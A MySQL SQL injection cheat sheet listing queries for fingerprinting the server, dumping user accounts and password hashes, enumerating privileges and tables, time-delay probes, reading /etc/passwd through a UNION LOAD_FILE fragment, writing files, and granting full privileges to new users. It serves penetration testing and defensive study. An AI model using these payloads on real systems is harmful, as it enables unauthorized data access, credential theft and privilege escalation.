MySQL: SQL Injection Cheat Sheet

Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.

VersionSELECT @@version
CommentsSELECT 1; #comment
SELECT /*comment*/1;
Current UserSELECT user();
SELECT system_user();
List UsersSELECT user FROM mysql.user; — priv
List Password HashesSELECT host, user, password FROM mysql.user; — priv
List PrivilegesSELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privsSELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privsSELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns
List DBA AccountsSELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv
Current DatabaseSELECT database()
List DatabasesSELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0
SELECT distinct(db) FROM mysql.db — priv
List ColumnsSELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
List TablesSELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
Find Tables From Column NameSELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’
Select Nth RowSELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0
Select Nth CharSELECT substr(‘abcd’, 3, 1); # returns c
Bitwise ANDSELECT 6 & 2; # returns 2
SELECT 6 & 1; # returns 0
ASCII Value -> CharSELECT char(65); # returns A
Char -> ASCII ValueSELECT ascii(‘A’); # returns 65
CastingSELECT cast(’1′ AS unsigned integer);
SELECT cast(’123′ AS char);
String ConcatenationSELECT CONCAT(‘A’,'B’); #returns AB
SELECT CONCAT(‘A’,'B’,'C’); # returns ABC
If StatementSELECT if(1=1,’foo’,'bar’); — returns ‘foo’
Case StatementSELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A
Avoiding QuotesSELECT 0×414243; # returns ABC
Time DelaySELECT BENCHMARK(1000000,MD5(‘A’));
SELECT SLEEP(5); # >= 5.0.12
Local File Access…’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files.
SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system
Hostname, IP AddressSELECT @@hostname;
Create UsersCREATE USER test1 IDENTIFIED BY ‘pass1′; — priv
Delete UsersDROP USER test1; — priv
Make User DBAGRANT ALL PRIVILEGES ON *.* TO test1@’%'; — priv
Location of DB filesSELECT @@datadir;
Default/System Databasesinformation_schema (>= mysql 5.0)

Table of contents